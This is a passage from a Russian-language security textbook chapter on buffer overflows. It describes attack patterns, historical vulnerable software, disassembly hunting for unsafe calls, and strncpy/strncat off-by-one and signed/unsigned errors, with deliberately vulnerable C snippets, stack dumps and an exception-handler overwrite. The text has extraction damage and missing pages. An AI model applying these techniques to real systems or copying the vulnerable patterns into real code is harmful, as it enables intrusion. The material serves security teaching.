ности объекта является ложным (и требует пересмотра). Со структурной точки зре>
ния JVM может быть безукоризненна, но успешные атаки на Java>технологии не раз
обсуждались в форумах хакеров.
Программы атаки на системы на основе Java обычно являются атаками с исполь>
зованием свойств языка (атака “смешение типов”) и атаками с использованием дове>
рительных отношений (ошибки при использовании цифровой подписи аплетов), од>
нако иногда возможны даже атаки на переполнение буфера против Java>программ.
Проблема переполнения буфера чаще всего возникает в программах поддержки, ко>
торые являются внешними по отношению к JVM.
Сама JVM часто пишется на языке C для конкретной платформы, т.е. без долж>
ного внимания к деталям реализации машина JVM может сама оказаться уязвимой
для атак на переполнение буфера. Однако стандартная реализация JVM от компа>
7

Более подробную информацию можно получить из статьи базы знаний Microsoft Q280380.

260

Глава 7

нии Sun Microsystems проверена достаточно хорошо, и статические проверки, кото>
рые выполянются для вызовов уязвимых функций, не позволяют получить каких>
либо полезных результатов.
Кроме JVM, многочисленные проблемы переполнения буфера характерны для
систем, в которых используется Java, и конкретно для программ поддержки работы с
Java. В качестве примера рассмотрим систему управления реляционными базами
данных Progress, в которой встроенная программа jvmStart предназначена для за>
пуска виртуальной Java>машины. В jvmStart есть ошибка проверки правильности
входных данных, предоставленных в командной строке (ошибка строки форматиро>
вания). Данные включаются в строку через функцию printf() как аргумент стро>
ки. Это еще раз подтверждает идею, согласно которой разработчики программного
обеспечения должны рассматривать всю систему в целом, а не просто создавать от>
дельные компоненты. Хотя наиболее важные компоненты могут быть надежно за>
щищены, но большинство программных систем настолько надежны, насколько на>
дежен их самый уязвимый компонент. Что касается системы Progress, слабым зве>
ном оказывается код обслуживающей программы.
Во многих службах на основе Java используются компоненты и службы, которые
написаны на языках, не обеспечивающих безопасность типов, например на C и C++.
В таких ситуациях собственно использование Java>служб предоставляет доступ к
значительно более уязвимым компонентам C/C++. При этом атака может быть про>
ведена с помощью серверных протоколов, распределенных транзакций, хранимых
процедур, которые обращаются к службам операционной системы и вспомогатель>
ным библиотекам.

Совместное использование Java и C/C++
Интеграция Java>систем с обслуживающими библиотеками, написанными
на C/C++, является широко распространенной практикой. Java поддерживает за>
грузку библиотек DLL и библиотек программного кода. Экспортированные из биб>
лиотек функции затем непосредственно могут использоваться из Java. При подоб>
ной интеграции возникает реальная вероятность того, что переполнения буфера и
другие недостатки в поддерживающих библиотеках будут использованы для прове>
дения атак. Рассмотрим Java>программу, которая поддерживает интерфейс для ра>
боты с низкоуровневыми пакетами (raw packet). Такая Java>программа может, на>
пример, проводить анализ пакетов и создавать низкоуровневые пакеты. Такие дей>
ствия вполне возможны после загрузки библиотеки пакетов из Java>программы.
public class MyJavaPacketEngine extends Thread
{
public MyJavaPacketEngine ()
{
}
static
{
}

}

System.loadLibrary("packet_driver32");

Представленный выше Java>класс загружает библиотеку DLL под названием
packet_driver32.DLL. После этого вызовы могут осуществляться непосредст>

Переполнение буфера

261

венно к этой библиотеке. Предположим, что Java>программа позволяет задать адап>
тер для выполнения действий с пакетами. А теперь рассмотрим, что произойдет, ес>
ли программный код внутри библиотеки DLL передает в буфер строку для привязки
к адаптеру, не ограничивая при этом размер входных данных.
PVOID PacketOpenAdapter(LPTSTR p_AdapterName)
{
...
wsprintf(lpAdapter->SymbolicLink, TEXT("\\\\.\\%s%s"), DOSNAMEPREFIX,
p_AdapterName );
...
}

Здесь вполне вероятно может произойти переполнение буфера. Независимо от
того, связано ли это каким>либо образом с Java или нет, но уязвимые места в ядре
системы все равно остаются.

Хранимые процедуры и библиотеки DLL
Хранимые процедуры значительно расширяют возможности работы с базами дан>
ных и позволяют делать многие дополнительные вызовы к функциям “за пределами”
системы управления базой данных. В некоторых случаях хранимые процедуры ис>
пользуются для вызовов функций из библиотечных модулей, созданных на небезопас>
ном языке, например C. А дальше вы уже знаете, что происходит: выявляются уязви>
мые места, связанные с переполнением буфера, и проводятся успешные атаки.
Особенно много подобных уязвимых мест в интерфейсе между базой данных и
модулями, написанными на других языках программирования. Проблема в том, что
“границы доверия” подвергаются изменениям. В результате то, что кажется вполне
безопасным и разумным для Java, может привести к разрушительным последствиям
при выполнении программы на C в реальном времени.

Переполнения буфера в результате обработки
содержимого файлов
Файлы данных используются повсеместно. В этих файлах хранится практически
все, начиная от документов и заканчивая медиа>данными и критически важными на>
стройками компьютера. Для каждого файла существует внутренний формат, кото>
рый часто определяет специальную информацию, такую как размер файла, тип ме>
диа>данных, перечень символов, которые должны выделяться жирным шрифтом, —
все это закодировано непосредственно в файле данных. Вектор вторжения для атак
на подобные файлы выглядит довольно просто: нужно исказить файл данных и по>
дождать, пока его не откроет пользователь.
Файлы некоторых типов очень просты, а для других характерны сложные двоич>
ные структуры и встроенные численные значения. Иногда достаточно открыть
сложный файл в редакторе, работающем в шестнадцатеричном формате, и изменить
несколько байтов, чтобы вызвать сбой в программе, обрабатывающей этот файл.
Для хакера наибольший интерес представляет такое изменение файла данных,
чтобы при его обработке активировался вредоносный код. Прекрасным примером
тому является программа Winamp, в которой чересчур длинный тег IDv3 приводит

262

Глава 7

к переполнению буфера. В заголовке файла MP3 есть область, в которой может за>
писываться обычная текстовая строка. Эта область сохраняется как тег IDv3, и в
случае слишком большого тега в программе Winamp происходит переполнение бу>
фера. Это означает, что хакер может создавать вредоносные музыкальные файлы,
которые проводят атаку на компьютер, когда их открывают с помощью программы
Winamp.
Шаблон атаки: переполнение буфера с помощью изменения файла данных
в двоичном формате
Хакер изменяет файл данных, например музыкальный, видеофайл, файл шрифта или файл
с графическими данными. Иногда достаточно провести редактирование исходного файла
данных в шестнадцатеричном редакторе. Хакер изменяет заголовки и структуру данных, которые указывают на длину строк и т.д.

Переполнение буфера в Netscape Communicator с помощью
изменения двоичного файла данных
В версиях Netscape Communicator до 4.7 существует возможность переполнения
буфера с помощью файла шрифта для отображения динамических данных, в кото>
ром указанная длина шрифта меньше действительного размера шрифта.
Шаблон атаки: переполнение буфера с помощью переменных и тегов
В этом случае атаке подвергается программа, которая выполняет чтение сформатированных конфигурационных данных и вставляет значение переменной или тега в буфер без проверки предельного размера. Хакер создает вредоносную HTML-страницу или конфигурационный файл, в котором содержатся строки, которые способны вызвать переполнение буфера.

Атака на переполнение буфера с помощью переменных и тегов
в MidiPlug
В программе Yamaha MidiPlug есть уязвимое место, связанное с возможностью
проведения атак на переполнение буфера. Провести эту атаку можно с помощью пе>
ременной Text, доступной в теге EMBED.

Атака на переполнение буфера с помощью переменных и тегов
в exim
Атака на переполнение буфера в программе exim позволяет локальным пользо>
вателям получить привилегии суперпользователя после занесения чересчур длинно>
го значения в параметр :include: в файле .forward.
Шаблон атаки: переполнение буфера с помощью символических ссылок
Пользователь часто получает непосредственный контроль над программой с помощью
символических ссылок. Даже при установке всех ограничений доступа символическая ссылка
может предоставлять доступ к файлу. Символические ссылки позволяют провести те же атаки,
которые возможны благодаря конфигурационным файлам, хотя в атаке появляется дополни-

Переполнение буфера

263

тельный уровень сложности. Не забывайте, что атакуемое программное обеспечение получит
данные, заданные с помощь символической ссылки к файлу, и даже сможет использовать ее
для установки значений переменных. Это зачастую предоставляет доступ к буферу, для которого не установлено ограничений.

Переполнение буфера в EFTP-сервере с помощью символических
ссылок
В программном коде сервера EFTP есть ошибка на переполнение буфера, кото>
рой можно воспользоваться, если хакер загрузит файл с расширением .lnk
(ссылочный файл) и размером более 1744 байт. Это классический пример опосредо>
ванного переполнения буфера. Сначала хакер загружает ссылочный файл, а затем
заставляет клиента воспользоваться вредоносными данными. В этом примере для
компрометации серверного программного обеспечения использована команда ls.
Шаблон атаки: преобразование MIME
Набор стандартов MIME позволяет интерпретировать и передавать по электронной почте
данные в различных форматах. Возможность проведения атак появляется в момент преобразования данных в MIME-совместимый формат и наоборот.

Переполнение буфера в программе sendmail
В версиях программы sendmail 8.8.3 и 8.8.4 возможно переполнение буфера при
преобразовании данных в формат MIME.
Шаблон атаки: файлы cookie для протокола HTTP
Поскольку протокол HTTP не ориентирован на установление соединения, для него используются файлы cookie (небольшие файлы, хранящиеся в клиентском браузере), в основном для
сохранения информации о состоянии соединения. Уязвимая система обработки данных
cookie способствует тому, что и клиенты, и HTTP-демоны оказываются уязвимыми для атак на
переполнение буфера.

Переполнение буфера в Web-сервере Apache
Web>сервер Apache HTTPD является наиболее популярным Web>сервером в мире. В
демон HTTPD встроены механизмы обработки файлов cookie. В версиях до 1.1.1 вклю>
чительно существует уязвимое место переполнения буфера с помощью файлов cookie.
Все эти примеры следует расценивать лишь как проблемы, лежащие на поверхно>
сти. Клиентское программное обеспечение практически никогда не проходит качест>
венного тестирования, не говоря уже о тестировании системы безопасности. Один из
особенно интересных аспектов атак на клиентские программы заключается в том, код
атаки исполняется с правами пользователя, который работает с программой, т.е. при
успешной атаке хакер получает доступ ко всему, к чему имеет доступ пользователь,
включая сообщения электронной почты и другую конфиденциальную информацию.

264

Глава 7

Многие из этих атак являются достаточно мощными, особенно когда они прово>
дятся совместно с использованием методов социальной инженерии. Если хакер
сможет заставить пользователя открыть файл, обычно это означает, что он может ус>
тановить набор средств для взлома. Безусловно, из>за того, что процедура открытия
файла четко ассоциируется с конкретным пользователем, то атакующий код должен
оставаться замаскированным с целью избежать обнаружения атаки.

Атаки на переполнение буфера с помощью
механизмов фильтрации и аудита транзакций
Иногда для уничтожения файла журнала или организации неполадок в процессе
регистрации системных событий используются очень большие транзакции. При та>
кой атаке код для создания отчетов в журнале может исследовать транзакцию в ре>
альном времени, но слишком большие транзакции приводят к переходу к интере>
сующей хакера ветке кода или к вызову нужного ему исключения. Другими словами,
транзакция исполняется, но происходит ошибка в механизме регистрации или
фильтре. Это имеет два последствия: во>первых, можно запускать транзакции, кото>
рые не регистрируются (возможно полное искажение регистрационной записи для
такой транзакции), а во>вторых, можно проникать через установленную систему
фильтрации, которая в другом случае остановила бы атаку.
Шаблон атаки: ошибка при фильтрации с помощью переполнения буфера
При этой атаке хакер хочет, чтобы в механизме фильтрации произошел сбой, и он добивается этого с помощью транзакции очень большого размера. Если при подобном сбое фильтр
“открывает дорогу”, значит, хакер добился нужного результата.

Ошибка при фильтрации в демоне программы Taylor UUCP
Одним из вариантов проведения атаки сиспользованием ошибки в работе
фильтра является отправка аргументов слишком большого размера. Демон Taylor
UUCP предназначен для удаления вредоносных аргументов до их исполнения. Од>
нако при наличии слишком длинных аргументов этот демон оказывается не в со>
стоянии их удалить. Это “открывает двери” для проведения атаки.

Переполнение буфера с помощью
переменных среды
Большое количество атак основано на использовании переменных среды. Пере>
менные среды также считаются уязвимым местом, где переполнение буфера может
применяться для передачи в программу вредоносного набора байтов. При этом про>
грамма может принимать абсолютно непроверенные входные данные и использовать
их в действительно важных местах.

Переполнение буфера

265

Шаблон атаки: атаки на переполнение буфера с помощью переменных среды
В программах используется огромное количество переменных среды, и нередко при этом
нарушаются принципы безопасности. В этом шаблоне атаки определяется, может ли конкретная переменная среды привести к ошибке в работе программы.

Переполнение буфера с помощью $HOME
Атака на переполнение буфера в программе sccw позволяет локальным поль>
зователям с помощью переменной среды $HOME получить доступ с правами суперполь>
зователя.

Атака на переполнение буфера с помощью TERM
Для атаки на переполнение буфера в программе rlogin можно восполь>
зоваться глобальной переменной TERM.
Шаблон атаки: атаки на переполнение буфера с помощью вызовов функций API
Атаки на переполнение буфера могут проводиться с помощью библиотек или модулей совместно используемого кода. Таким образом, опасности подвергаются и все клиенты, которые используют уязвимую библиотеку. Это имеет огромное значение для безопасности всей
системы, поскольку подобные ошибки влияют на многие программные процессы.

Модуль libc для FreeBSD
Переполнение буфера во FreeBSD>утилите setlocate (хранится в модуле
libc) оказывает существенное влияние на работу сразу многих программ.

Ошибка в библиотеке xt
Атака на переполнение буфера в библиотеке xt системы X позволяет ло>
кальным пользователям выполнять команды с привилегиями суперпользователя.
Шаблон атаки: переполнение буфера в локальных утилитах с интерфейсом
командной строки
Доступные во многих командных интерпретаторах утилиты с интерфейсом командной
строки, могут применяться для расширения привилегий вплоть до уровня суперпользователя.

Переполнение буфера в passwd
Атака на переполнение буфера, проведенная против команды passwd для
платформы HPUX, позволяет пользователям с помощью аргумента командной
строки получить привилегии системного администратора.

Ошибка в getopt для платформы Solaris
Используя чрезмерно большое значение argv[0] в команде getopt (модуль
libc) на платформе Solaris, можно организовать переполнение буфера и получить
привилегии суперпользователя.

266

Глава 7

Проблема множественных операций
Когда данные обрабатываются функцией, то последняя, как известно, должна
четко отслеживать, что происходит с данными. Но это справедливо, только когда с
данными “работает” одна функция. Когда же с одними и теми же данными выполня>
ется несколько операций, то проследить воздействие на данные каждой из операций
становится значительно сложнее. В частности, это справедливо, если при операции
каким>либо образом изменяется строка данных.
Существует множество стандартных операций со строками, которые изменяют
размер строки. Нас интересует тот момент, когда программный код, который отвеча>
ет за преобразование, не изменяет размер буфера, в котором хранится строка.
Шаблон атаки: увеличение размера параметров
Если предоставленные параметры преобразуются функцией обработки в более длинную
строку, но это изменение размера никак не учитывается, то хакер получает возможность для
проведения атаки. Это происходит тогда, когда оригинальный (некорректный) размер строки
используется в остальных частях программы.

Ошибка в функции glob() FTP-сервера
В результате некорректного изменения размеров строки для атаки можно ис>
пользовать расширение имени файла функцией glob() FTP>сервера.

Поиск возможностей для осуществления
переполнения буфера
Одним из простейших методов для поиска возможностей переполнения буфера
является предоставление на вход программы чересчур длинных аргументов и изу>
чение того, что происходит в дальнейшем. Этот элементарный подход использует>
ся в некоторых из средств для обеспечения безопасности приложений. С этой же
целью можно создавать длинные запросы к Web> или FTP>серверу или созда>
вать “неприятные” заголовки сообщений электронной почты и предоставлять их
на вход sendmail. Иногда такой вариант тестирования по методу “черного
ящика” может принести положительный результат, но он всегда отнимает очень
много времени.
Намного лучше при поиске ошибок переполнения буфера найти уязвимые вызовы
функций API с помощью методов статического анализа. Используя или исходный,
или дизассемблированный код, подобный поиск можно выполнять автоматически.
После обнаружения потенциально уязвимых мест можно воспользоваться тестиро>
ванием по методу “черного ящика” с целью проверить эффективность использова>
ния этих ошибок при атаке.

Переполнение буфера

267

Сокрытие ошибки при обработке исключений
При динамическом тестировании возможных ошибок, связанных с переполнени>
ем буфера, следует помнить, что вполне реально воспользоваться обработчиками ис>
ключений. Они будут перехватывать некоторые некорректные входные данные и та>
ким образом не давать программе проявлять внутренние ошибки, даже если хакеру
удалось вызвать нужное переполнение буфера. Если программа “справляется” с по>
пыткой организовать переполнение буфера и нет никаких внешних проявлений слу>
чившегося события, то весьма сложно узнать, оказала ли проведенная попытка ка>
кое>либо воздействие на работу программы.
Обработчики исключений представляют собой специальные блоки кода, которые
вызываются, когда происходит ошибка при обработке данных (что полностью соот>
ветствует происходящему при возникновении переполнения буфера). В процессоре
x86 обработчики исключений хранятся в связанном списке (linked list) и вызывают>
ся по порядку. Вершина списка обработчиков исключений хранится по адресу, кото>
рый указан в регистре FS:[0]. Таким образом регистр FS указывает на специаль>
ную структуру, которая называется TEB (Thread Environment Block), а первый эле>
мент этой структуры (FS:[0]) является обработчиком исключений.
С помощью нескольких приведенных ниже команд можно определить, использу>
ется ли обработчик исключений (порядок команд может изменяться в зависимости
от фазы Луны, то есть совершенно произвольный).
mov eax, fs:[0]
push SOME_ADDRESS_TO_AN_EXCEPTION_HANDLER
push eax
mov dword ptr fs:[0], esp

Если возникает впечатление, будто обработчик команд маскирует существую>
щую ошибку, которую способен использовать хакер, то всегда можно подключиться
к исполняющемуся процессу с помощью отладчика и установить точку останова на
адресе вызова обработчика исключений.

Использование дизассемблера
Вместо использования методов слепого динамического тестирования для выяв>
ления потенциальных целей атак на переполнение буфера, лучше воспользоваться
методами статического анализа программ. Одним из лучших вариантов, с которых
следует начать работу, является дизассемблирование двоичного файла. Значитель>
ный объем информации можно получить при быстром поиске статических строк, ко>
торые содержат символы форматирования, например %s, одновременно выявляя
места, где эти строки подаются на обработку.
При этом методе исследования ссылки на статические строки обычно даются с
указанием смещения (offset).
push offset SOME_LOCATION

Если подобный код находится выше кода операции со строкой, проверьте, не ука>
зывает ли приведенный адрес на строку форматирования (индикатором служит
строка %s). Если смещение указывает на строку форматирования, то следующая
проверка должна относиться к исходной строке: не является ли она строкой пользо>
вательских данных? Для этой цели можно провести поиск тегов boron (см. главу 6,

268

Глава 7

“Подготовка вредоносных данных”). Если смещение используется для перехода на
операцию работы со строкой (и не обрабатываются пользовательские данные), то эта
область кода, скорее всего, неуязвима для атаки, поскольку пользователь не имеет
непосредственного контроля над данными.
Если цель (адресат) операции по работе со строкой находится в стеке, то обычно
она указывается как смещение из EBP, например:
push [ebp-10h]

Такая структура указывает на использование буферов стека. Если цель операции
находится в стеке, то провести атаку с помощью переполнения буфера достаточно
просто. Если вызывается функция strncpy() или другая подобная функция, кото>
рая задает размер, то хакер может проверить, что этот размер, по крайней мере, не>
много меньше, чем действительный размер данных в буфере. Мы поясним это не>
много позже, однако основная идея состоит в том, чтобы найти ошибку хотя бы ми>
нимального превышения доступного размера буфера, когда можно провести атаку
через стек. И наконец, для любых вычислений, при которых используется значение
длины данных, хакер должен проверить наличие ошибок преобразования знаковых
чисел в беззнаковые и наоборот (что мы также поясним далее).

Переполнение буфера в стеке
Использование переменных в стеке для создания переполнения буфера называют
переполнением буфера в стеке (buffer overflow, или smashing the stack). Атаки на пе>
реполнение буфера в стеке были первым типом атак на переполнение буфера, кото>
рые получили широкое распространение. Известны тысячи уязвимых мест для атак
на переполнение буфера в стеке в коммерческом программном обеспечении, рабо>
тающем практически на всех платформах. Ошибки переполнения буфера в стеке
связаны в основном с уязвимостью процедур по обработке строки, которые присут>
ствуют в стандартных библиотеках языка C.
Мы рассмотрим только основные принципы атак на переполнение буфера в сте>
ке, поскольку эта тема уже давно обсуждается во многих материалах по обеспечению
безопасности. Читателям, абсолютно незнакомым с атаками этого типа, советуем об>
ратиться к книге Building Secure Software (Viega, McGraw, 2001). В этом разделе мы
обратим основное внимание на менее известные проблемы при обработке строк и
расскажем подробно о том, что часто упускают при стандартном изложении этой
проблемы.

Буферы фиксированного размера
Признаком классической ошибки с переполнением буфера в стеке является
буфер для строки данных с жестко заданным размером, который находится в стеке
и “дополняется” процедурой обработки строки, зависимой от буфера, конец кото>
рого обозначается символом NULL. В качестве примеров таких процедур можно на>
звать вызовы функций strcpy() и strcat()в буферах фиксированного размера, а
также вызовы функций sprintf()() и vsprintf() в буферах фиксированного
размера с использованием строки форматирования %s. Существуют и другие вари>
анты, включая вызов функции scanf()в буферах фиксированного размера с ис>

Переполнение буфера

269

пользованием строки форматирования %s. Ниже приведен неполный перечень
процедур обработки строки, которые приводят к возникновению ситуаций пере>
8
полнения буфера в стеке .
sprintf
wsprintf
wsprintfA
wsprintfW
strxfrm
wcsxfrm
_tcsxfrm
lstrcpy
lstrcpyn
lstrcpynA
lstrcpyA
lstrcpyW
swprintf
_swprintf
gets
stprintf
strcat
strncat.html
strcatbuff
strcatbuffA
strcatbuffW
StrFormatByteSize
StrFormatByteSizeA
StrFormatByteSizeW
lstrcat
wcscat
mbscat
_mbscat
strcpy
strcpyA
strcpyW
wcscpy
mbscpy
_mbscpy
_tcscpy
vsprintf
vstprint
vswprintf
sscanf
swscanf
stscanf
fscanf
fwscanf
ftscanf
vscanf
vsscanf
vfscanf

Поскольку все эти функции уже широко известны и теперь считаются “легкой
добычей” для хакеров, то классические атаки на переполнение буфера в стеке посте>
пенно уходят в прошлое. Насколько быстро предается огласке информация о воз>
можности проведения атаки на переполнение буфера в стеке, настолько же быстро и
8

Найти полный список уязвимых функций, подобных перечисленным здесь, можно в средст
вах статического анализа, с помощью которых выполняется сканирование на предмет нали
чия проблем безопасности. Например, в программе SourceScope содержится база данных пра
вил, которые используются в процессе сканирования. Опытные хакеры знают, что защитные
средства в умелых руках могут превратится в оружие нападения. — Прим. авт.

270

Глава 7

устраняется ошибка. Однако есть множество других проблем, которые приводят к
искажению данных в памяти и переполнению буфера.

Функции, для которых не требуется наличие
завершающего символа NULL
Управление буфером является намного более сложной проблемой, чем думают
многие люди. Это не просто проблема нескольких вызовов функций API, которые
работают с буферами, оканчивающимися символом NULL. Зачастую с целью избе>
жать стандартных проблем переполнения буфера используются арифметические
операции по вычислению длины строки в буфере. Однако некоторые из призванных
быть полезными функций API достаточно сложны в использовании, что приводит
к путанице.
Одним из таких вызовов API, при использовании которых легко ошибиться, яв>
ляется вызов функции strncpy(). Это весьма любопытный вызов, поскольку он
предназначен в основном для предотвращения возможности переполнения буфера.
Проблема в том, что в этом вызове один крайне важный и крайне опасный момент, о
котором часто забывают: эта функция не устанавливает завершающий символ NULL
в конце строки, если эта строка слишком большая, чтобы уместиться в предназна>
ченный для нее буфер. Это может привести к тому, что “чужая” область памяти бу>
дет “присоединена” к предназначенному буферу. Здесь нет переполнения буфера в
классическом смысле, но строка оказывается незавершенной.
Проблема в том, что теперь любой вызов функции strlen() завершится воз>
вращением некорректного (т.е. неверного) значения. Не забывайте, что функция
strlen() работает со строками, завершающимися символом NULL. Таким обра>
зом, она будет возвращать длину оригинальной строки плюс столько байтов,
сколько будет до появления символа NULL в памяти, т.е. возвращаемое значение
обычно будет намного больше, чем действительная длина строки. Любые арифме>
тические операции, выполняемые на основе этой информации, будут неверными
(и станут целью атаки).
Рассмотрим пример на основе следующего кода.
strncpy(цель, источник, sizeof(цель));

Если цель составляет 10 символов, а источник — 11 символов (или более),
включая символ NULL, то 10 символов не являются корректно завершенной стро>
кой с символом NULL!
Рассмотрим дистрибутив UNIX>подобной операционной системы FreeBSD. BSD
часто считают одной из наиболее безопасных UNIX>сред, однако даже в ней регу>
лярно обнаруживаются трудные для выявления ошибки наподобие той, что была
описана чуть выше. В реализации функции syslog есть программный код, с помо>
щью которого выполняется проверка на предмет того, имеет ли удаленный хост пра>
ва на подключение к демону syslogd. Этот программный код во FreeBSD 3.2 вы>
глядит следующим образом.
strncpy(name, hname, sizeof name);
if (strchr(name, '.') == NULL) {
strncat(name, ".", sizeof name - strlen(name) - 1);
strncat(name, LocalDomain, sizeof name - strlen(name) - 1);
}

Переполнение буфера

271

В данном случае, если переменная hname достаточно велика, чтобы целиком
“заполнить” переменную name, то завершающий символ NULL не будет размещен в
конце значения переменной name. В этом и заключается стандартная проблема ис>
пользования функции strncpy(). При последующих арифметических операциях
вычисление выражения sizeof name – strlen(name) приводит к получению
отрицательного результата. Функция strncat принимает беззнаковое значение пе>
ременной, при этом негативное значение будет интерпретировано программой как
очень большое положительное число. Таким образом функция strncat перезапи>
сывает память после окончания буфера, выделенного для функции name. Для демо>
на syslogd игра проиграна.
Ниже приведен список функций, в которых автоматически не устанавливается
завершающий символ NULL в буфере.
fread()
read()
readv()
pread()
memcpy()
memccpy()
bcopy()
gethostname()
strncat()

Уязвимые места, связанные с некорректным использованием функции strncpy
(и ей подобных), можно назвать неисследованным источником будущих атак.
Когда закончатся возможности проведения атак на более доступные цели, хаке>
ры наверняка обратят свой взор на ошибки, подобные той, о которой мы только
что рассказали.

Проблема завершающего символа NULL
В некоторых строковых функциях завершающий символ NULL всегда размеща>
ется в конце строки. Вероятно, это гораздо лучше, чем оставлять знакоместо для
символа NULL для заполнения программистом, но проблемы все равно возникают.
Арифметические операции, встроенные в некоторые из этих функций, могут выпол>
няться с ошибками, в результате чего иногда символ NULL размещается после окон>
чания буфера. Это так называемая ситуация “одного лишнего”, когда происходит
перезапись одного байта памяти. Эта на первый взгляд незначительная проблема
порой приводит к полной компрометации программы.
Удачным примером можно назвать вызов функции strncat(), которая всегда
размещает символ NULL после последнего байта переданной строки и поэтому
может быть использована для перезаписи указателя в стековом фрейме. Следую>
щая извлекаемая (pulled) из стека функция перемещает содержимое регистра EBP
в ESP — указатель стека (рис. 7.6).
Рассмотрим следующий простой код.
1.
2.
3.
4.
5.
6.

void test1(char *p)
{
char t[12];
strcpy(t, "test");
strncat(t, p, 12-4);
}

272

Глава 7
Завершающий символ
NULL перезаписывает
один байт данных
после конца буфера в
стековом указателе

БУФЕР

00

Содержимое EBP
Содержимое EIP

Содержимое EBP
Содержимое EIP

Рис. 7.6. Проблему “одного лишнего” достаточно сложно вы
явить. В данном примере атакуемый БУФЕР используется для
перезаписи информации в содержимом регистра EBP

После выполнения строки 4, содержимое стека будет выглядеть следующим об>
разом.
0012FEC8
0012FECC
0012FED0
0012FED4
0012FED8

74
00
CC
2C
B2

65
CC
CC
FF
10

73
CC
CC
12
40

74
CC
CC
00
00

test
.ÌÌÌ
ÌÌÌÌ
,ÿ..
2
.@.


ведет к исполнению нашей полезной нагрузки (рис. 7.7). На следующем рисунке
изображен внедренный буфер, который затирает данные после окончания стека. Ха>
кер перезаписывает запись для обработчика исключений, которая хранится в стеке.
Новая запись указывает на полезную нагрузку (атакующий код), поэтому при вызо>
ве исключения SEGV процессор переходит к исполнению атакующего кода.
Стек

FS:[0]
Обработчик
исключений

Центральный
процессор

Полезная
нагрузка

Дно
стека

Нарушение
сегментации

Рис. 7.7. Использование обработчиков исключений в атаках на перепол
нение буфера. Обработчик исключения указывает на атакующий код

Переполнение буфера

275

Арифметические ошибки
при управлении памятью
Ошибки при выполнении арифметических операций, особенно при операциях
с указателями, могут привести к неверному вычислению размера буфера, а следова>
тельно, и к переполнению буфера. Во время создания этой книги ошибки при вы>
полнении арифметических операций с указателем оставались сравнительно неис>
следованной для хакеров областью. Однако в очень опасных атаках на переполнение
буфера с последующим получением привилегий суперпользователя, использовались
именно эти ошибки.
Значения размера буфера часто могут быть заданы хакером как непосредственно,
так и обходным путем. Непосредственно эти значения часто можно задавать с по>
мощью заголовков пакетов (которые способен подменять хакер). Обходным путем
можно назвать использование функции strlen() по отношению к контролируемо>
му пользователем буферу. В последнем случае хакер получает контроль над вычис>
лениями длины числа, управляя размером внедряемой строки.

Отрицательные числа как большие положительные числа
В современных компьютерах числа отображаются различными интересными
способами. Иногда целые числа могут оказаться настолько большими, что они
“переполняют” целочисленное представление этого числа, используемое компьюте>
ром. При вводе тщательно подготовленной строки злоумышленник способен полу>
чить в результате вычисления длины числа отрицательное значение. В результате
загадочных преобразований, отрицательное значение обрабатывается как беззнако>
вое число, а точнее, как очень большое положительное число. Рассмотрим только
один простейший пример такого преобразования, когда число -1 (для 32>битовых
целых чисел) отображается как 0xFFFFFFFF, что расценивается как большое без>
знаковое число 4294967295.
Теперь рассмотрим следующий фрагмент кода.
int main(int argc, char* argv[])
{
char _t[10];
char p[]="xxxxxxx";
char k[]="zzzz";
strncpy(_t, p, sizeof(_t));
strncat(_t, k, sizeof(_t) - strlen(_t) - 1);
}

return 0;

После исполнения результирующая строка в параметре -t будет иметь значение
xxxxxxxzz.
Если мы предоставим точно 10 символов для параметра p (xxxxxxxxxx), то зна>
чения функций sizeof(_t) и strlen(_t) будут одинаковыми и окончательный
результат вычислений составит -1 или 0xFFFFFFFF. Поскольку аргумент, переда>
ваемый функции strncat(), должен быть беззнаковым, все заканчивается тем, что

276

Глава 7

число интерпретируется как большое положительное число, а размер значения
функции никак не ограничивается. В результате происходит искажение данных
в стеке, что обеспечивает хакеру возможность перезаписи указателя команд или дру>
гих значений, сохраненных в стеке.
Искаженный стек выглядит примерно следующим образом.
0012FF74
0012FF78
0012FF7C
0012FF80
0012FF84

78
78
78
C0
7A

78
78
78
FF
7A

78
78
CC
12
7A

78
78
CC
7A
00

xxxx
xxxx
xxÌÌ
Àÿ.z
полнить преобразование из положительного числа в отрицательное и наоборот
(иногда с минимальными изменениями).
Опытные хакеры для таких преобразований выбирают числа в районе минималь>
ного или максимального значения, как показано на рис. 7.8.

0xFFFFFFFF

0x7FFFFFFF

0x00000000

0x80000000

Беззнаковое значение

Знаковое значение

Рис. 7.8. Арифметические ошибки не бросаются в глаза и являются прекрасным источ
ником для проведения атак. Минимальное изменение в представлении числа (иногда
достаточного одного бита) приводит к кардинальному изменению значения числа

Переполнение буфера

277

Несоответствие между знаковыми
и беззнаковыми значениями
Большинство арифметических ошибок возникает из>за различий между знако>
выми и беззнаковыми значениями. Довольно часто в программах выполняются дей>
ствия сравнения, в результате чего исполняется блок кода, если число меньше за>
данного значения. Например:
if (X < 10)
{
do_something(X);
}

Если значение переменной X меньше 10, то исполняется блок кода (do_something).
Значение переменной X затем передается функции do_something(). Теперь рас>
смотрим ситуацию, когда значение X равно –1. Безусловно, это значение меньше 1,
поэтому должен быть исполнен блок кода. Однако не забывайте, что –1 — это то же
самое, что и 0xFFFFFFFF. Если функция обрабатывает X как беззнаковую перемен>
ную, то X обрабатывается как очень большее число, конкретно как 4294967295.
В реальности эта ситуация может возникнуть, когда значение X получается на
основе предоставленного хакером числа или, исходя из длины строки, которая пере>
дается программе. Рассмотрим следующий фрагмент кода.
void parse(char *p)
{
int size = *p;
char _test[12];
int sz = sizeof(_test);
if( size < sz )
{
memcpy(_test, p, size);
}
}
int main(int argc, char* argv[])
{
// какой-то пакет
char _t[] = "\x05\xFF\xFF\xFF\x10\x10\x10\x10\x10\x10";
char *p = _t;
parse(p);
}

return 0;

Код анализатора получает сведения о размере переменной из *p. Для примера
предоставляем значение 0xFFFFFF05 (в прямом порядке следования байтов). Если
это число со знаком, то оно соответствует –251 в десятичной системе счисления. Ес>
ли это беззнаковое значение, тогда оно соответствует 4294967045 — очень большое
число. Понятно, что –251 значительно меньше, чем размер выделенного буфера. Од>
нако поскольку функция memcpy не работает с отрицательными значениями, то
данное число обрабатывается как большое беззнаковое значение. В приведенном
выше коде использование функции memcpy для значения размера беззнакового int
приводит к возникновению обширного переполнения буфера.

Выявление проблемы в коде
Обнаружить ошибки, связанные с использованием знака в коде, полученном с
помощью дизассемблера, достаточно просто, поскольку вполне возможно увидеть

278

Глава 7

два различных типа команд перехода, использующихся по отношению к одной пере>
менной. Рассмотрим следующий программный код.
int a;
unsigned int b;
a = -1;
b = 2;
if(a 0)
puts("больше нуля");

На языке ассемблера это выглядит следующим образом.
a = 0xFFFFFFFF
b = 0x00000002

